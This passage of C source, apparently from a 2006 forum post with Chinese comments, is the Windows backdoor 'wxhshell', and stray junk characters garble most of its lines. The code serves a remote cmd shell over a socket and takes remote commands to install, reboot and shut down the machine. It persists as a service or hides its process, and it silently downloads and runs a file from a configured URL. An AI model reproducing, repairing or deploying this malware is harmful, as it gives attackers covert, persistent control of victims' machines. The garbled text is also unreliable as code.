  case '?': { J)P7QTC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QeG3X+  
    break; ,d$D0w  
  } #.@-ng6C  
  // 安装 \U.js-  
  case 'i': { M&` b\la  
    if(Install()) aBWA hn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4XIc|a Aa  
    else 9G^gI}bY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z^_gS&nDa~  
    break; YZ^mH <  
    } 40HhMTZ0-  
  // 卸载 #;/ob-  
  case 'r': { ,#K{+1z:  
    if(Uninstall()) d VyT`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3U%kf<m=  
    else U}DLzn|w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J(w 3A)(  
    break; 2$FH+wuW  
    } t"jiLOQ[6  
  // 显示 wxhshell 所在路径 D4$2'h  
  case 'p': { /o9 0O&  
    char svExeFile[MAX_PATH]; [Z;ei1l  
    strcpy(svExeFile,"\n\r"); O9_SVXWVw  
      strcat(svExeFile,ExeFile); 7R$O ~R3p  
        send(wsh,svExeFile,strlen(svExeFile),0); sq;3qbz  
    break; -mLS\TFS  
    } #M@~8dAH}M  
  // 重启 5Kw?#  
  case 'b': { i7%`}t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B0D  
    if(Boot(REBOOT)) %BF,;(P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qIvnPaYW  
    else { [G' +s  
    closesocket(wsh); 4|;Ys-Q  
    ExitThread(0); $+$4W\-=X  
    } vL8Rg} Jh4  
    break; zJo?,c  
    } F(|XJN  
  // 关机 H:cAORLB  
  case 'd': { %a']TX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c/E'GG%Q%  
    if(Boot(SHUTDOWN)) _RE;}1rb,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vH/RP  
    else {  w>\_d  
    closesocket(wsh); i(> WeC+  
    ExitThread(0); 3!vnSX(iv  
    } U'@ ![Fp  
    break; z! :0%qu  
    } WV}HN  
  // 获取shell Ako]34Rl,  
  case 's': { IYv.~IQO  
    CmdShell(wsh); CV)K=Br5&_  
    closesocket(wsh); a9NIK/9  
    ExitThread(0); z `jLKPP!=  
    break; f4$sH/ 2#v  
  } R5&<\RI0  
  // 退出 934@Z(aUH  
  case 'x': { Hb0_QT~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aNP\Q23D  
    CloseIt(wsh); "r1 !hfIYf  
    break; 2}15FXgN  
    } '3?-o|v@D  
  // 离开 nf1O8FwRb  
  case 'q': { WjOP2CVv|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $$i Gs6az  
    closesocket(wsh); #n]K$k>  
    WSACleanup(); oxL)Jx\c9A  
    exit(1); TjHt:%7.  
    break; j8c5_&  
        } }{)Rnb@ >  
  } nDyA][  
  } hbEqb{#}@  
#4<=Ira5  
  // 提示信息 !*S,S{T8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); snYeo?|b  
} S0M i  
  } ~O|~M_Z  
z_Hkw3?  
  return; *7b?.{  
} nw(R=C  
udmLHc  
// shell模块句柄 n|Ts:>`V  
int CmdShell(SOCKET sock) 3aU5rbi|B  
{ 6|IJwP^Q_  
STARTUPINFO si; EP^qj j@M  
ZeroMemory(&si,sizeof(si)); ,&y_^-|d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #8zC/u\`=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r6GXmr  
PROCESS_INFORMATION ProcessInfo; 6\k~q.U@XI  
char cmdline[]="cmd"; X,bhX/h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lp/'-Y_  
  return 0; ;tQ(l%!  
} ;YSe:m*  
e4|a^lS;  
// 自身启动模式 c-_1tSh}  
int StartFromService(void) R+z'6&/ =I  
{ bg|dV  
typedef struct ZMLN ;.{Na  
{ %a FZbLK  
  DWORD ExitStatus; Y`d@4*FN$  
  DWORD PebBaseAddress; '#SZ|Rr6tX  
  DWORD AffinityMask; ,:2Z6~z{  
  DWORD BasePriority; |?nYs>K  
  ULONG UniqueProcessId; :{4C2qK>  
  ULONG InheritedFromUniqueProcessId; \;KSx3o  
}   PROCESS_BASIC_INFORMATION;  q*94vo-  
yEk|(6+^  
PROCNTQSIP NtQueryInformationProcess; }ice*3'3  
B!&y>Z^$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K1o>>388G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l(Dr@LB~  
:!hO9ho  
  HANDLE             hProcess; g rCQ#3K*?  
  PROCESS_BASIC_INFORMATION pbi; p3Ozfk  
-<9Qez)y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nu3gkIz5z-  
  if(NULL == hInst ) return 0; $2+s3)  
D+BiclJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [+QyKyhTO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `wZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y5F"JjQAa  
Hpa6; eT  
  if (!NtQueryInformationProcess) return 0; `e fiX^  
H\H7a.@nkF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bRrS d:e  
  if(!hProcess) return 0; `JY+3d,Ui  
E)`0(Z:E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z=Cw7E  
w>8kBQ?b  
  CloseHandle(hProcess); &-{%G=5~e%  
kvuRT`/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6212*Z_Af  
if(hProcess==NULL) return 0; 'n>44_7L  
%hN(79:g  
HMODULE hMod; ,i|K} Y&  
char procName[255]; ^/$dSXKF  
unsigned long cbNeeded; pJs`/   
vq.o;q /  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KC"&3  
~(-1mB,  
  CloseHandle(hProcess); v#d(Kj  
~JNE]mg  
if(strstr(procName,"services")) return 1; // 以服务启动 /W`CqJk-*.  
_KKux3a  
  return 0; // 注册表启动 F(zCvT   
} ju3@F8AI  
:*BN>*1^\r  
// 主模块 w=<E)  
int StartWxhshell(LPSTR lpCmdLine) >2#<tH0  
{ Z,SV9 ~M  
  SOCKET wsl; (n8?+GCa  
BOOL val=TRUE; )">#bu$  
  int port=0; y z!L:1DG  
  struct sockaddr_in door; bcjh3WP  
YFPse.2$a  
  if(wscfg.ws_autoins) Install(); pdER#7Tq  
65JG#^)KaX  
port=atoi(lpCmdLine); *0Z6H-Do,  
3 !8#wn  
if(port<=0) port=wscfg.ws_port; (9ZW^flY  
AZE%fOG<i  
  WSADATA data; )Ute  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kr|r-N`  
;?@Rq"*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8(l0\R,%+z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5'+g[eNyBV  
  door.sin_family = AF_INET; }No#_{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R.2i%cU  
  door.sin_port = htons(port); 8{!|` b'f  
H^5,];  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lP)n$?u  
closesocket(wsl); 74:( -vS  
return 1; <}A6 )=T  
} v;5-1  
Q]GS#n  
  if(listen(wsl,2) == INVALID_SOCKET) { ks("( nU  
closesocket(wsl); 5de1rB|  
return 1; =liyd74%`  
} /m;Bwu  
  Wxhshell(wsl); +X+R8  
  WSACleanup(); h*D -Vo  
v;G/8>GRy  
return 0; u/wX7s   
W`JI/  
} 1 oKY7i$  
&&52ji<3  
// 以NT服务方式启动 h$$JXf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .sQV0jF{  
{ !`7evV:  
DWORD   status = 0; 'YG P42#  
  DWORD   specificError = 0xfffffff; K3h];F! ^  
lH`c&LL-=!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "Dk@-Ac  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^Ss <<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PPrvVGP   
  serviceStatus.dwWin32ExitCode     = 0; ewN|">WXQ  
  serviceStatus.dwServiceSpecificExitCode = 0; 3I)oqS@q'  
  serviceStatus.dwCheckPoint       = 0; I4w``""c  
  serviceStatus.dwWaitHint       = 0;  0%,W5w  
YfZ5Q}*1O+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ## vP(M$  
  if (hServiceStatusHandle==0) return; .pe.K3G &  
W{!5}Sh  
status = GetLastError(); f% t N2k  
  if (status!=NO_ERROR) 9[*P`*&  
{ 3hBYx@jTO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RrrlfFms  
    serviceStatus.dwCheckPoint       = 0; 0Bp0ScE|FA  
    serviceStatus.dwWaitHint       = 0; \24'iYtqW  
    serviceStatus.dwWin32ExitCode     = status; }id)~h_@  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,wg(}y'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |0u qW1  
    return; n#WOIweInf  
  } {wt9/IlG1  
Gdx %#@/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .Wp(@l'Hd  
  serviceStatus.dwCheckPoint       = 0; | B$JX'_  
  serviceStatus.dwWaitHint       = 0; *gGw/jA/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lw^%<.DM+t  
} QD^=;!  
rfQs 7S;G  
// 处理NT服务事件,比如:启动、停止 g0a!auWM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WuF\{bUh  
{ K*'AjT9wX+  
switch(fdwControl) WdC7CK  
{ XPq`; <G  
case SERVICE_CONTROL_STOP: oa7 N6  
  serviceStatus.dwWin32ExitCode = 0; 5syzh S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Yz0HB EA  
  serviceStatus.dwCheckPoint   = 0; -:L7iOzgD  
  serviceStatus.dwWaitHint     = 0; PIFZ '6gn  
  { R6>*n!*D@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &1=,?s]&  
  } v6aMYmenBH  
  return; X=6L-^ o)  
case SERVICE_CONTROL_PAUSE: hHcevSr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~e,K  
  break; Vu~fF@ |  
case SERVICE_CONTROL_CONTINUE: C'l\4ij)7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j+/EG^*/  
  break; -~\7ZRP8  
case SERVICE_CONTROL_INTERROGATE: 54TWFDmGi  
  break; ;YQ6X>  
}; Yu&\a?]\2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FU}- .Ki  
} QJkiu8r  
Gb Mu;CA  
// 标准应用程序主函数 2y8FP#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;9=4]YZt  
{ p>pAU$k{O  
s%> u[-9U  
// 获取操作系统版本 kaEu\@%n  
OsIsNt=GetOsVer(); 5qqU8I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z=jzr=lP  
j `3IizN2  
  // 从命令行安装 o 0b\<}  
  if(strpbrk(lpCmdLine,"iI")) Install(); @N> rOA  
UQ^ )t ]  
  // 下载执行文件 jl]p e7-  
if(wscfg.ws_downexe) { AC fhy[,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WYCDEoqU2  
  WinExec(wscfg.ws_filenam,SW_HIDE); \[+':o`LH  
} 6w{""K.{  
cY~lDLyB  
if(!OsIsNt) { X88I|Z'HIh  
// 如果时win9x,隐藏进程并且设置为注册表启动 r[j@@[)"  
HideProc(); Cd p_niF  
StartWxhshell(lpCmdLine); !g>mjD  
} 5=8_Le  
else G Wj !n  
  if(StartFromService()) T~}g{q,tR  
  // 以服务方式启动 X/Fip 0i  
  StartServiceCtrlDispatcher(DispatchTable); ={190=\9  
else Pm24;'  
  // 普通方式启动 J(XK%e[8  
  StartWxhshell(lpCmdLine); nu|odP  
zCwb>v  
return 0; F>@z&a}(  
}
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只看该作者 1 发表于: 2006-10-10
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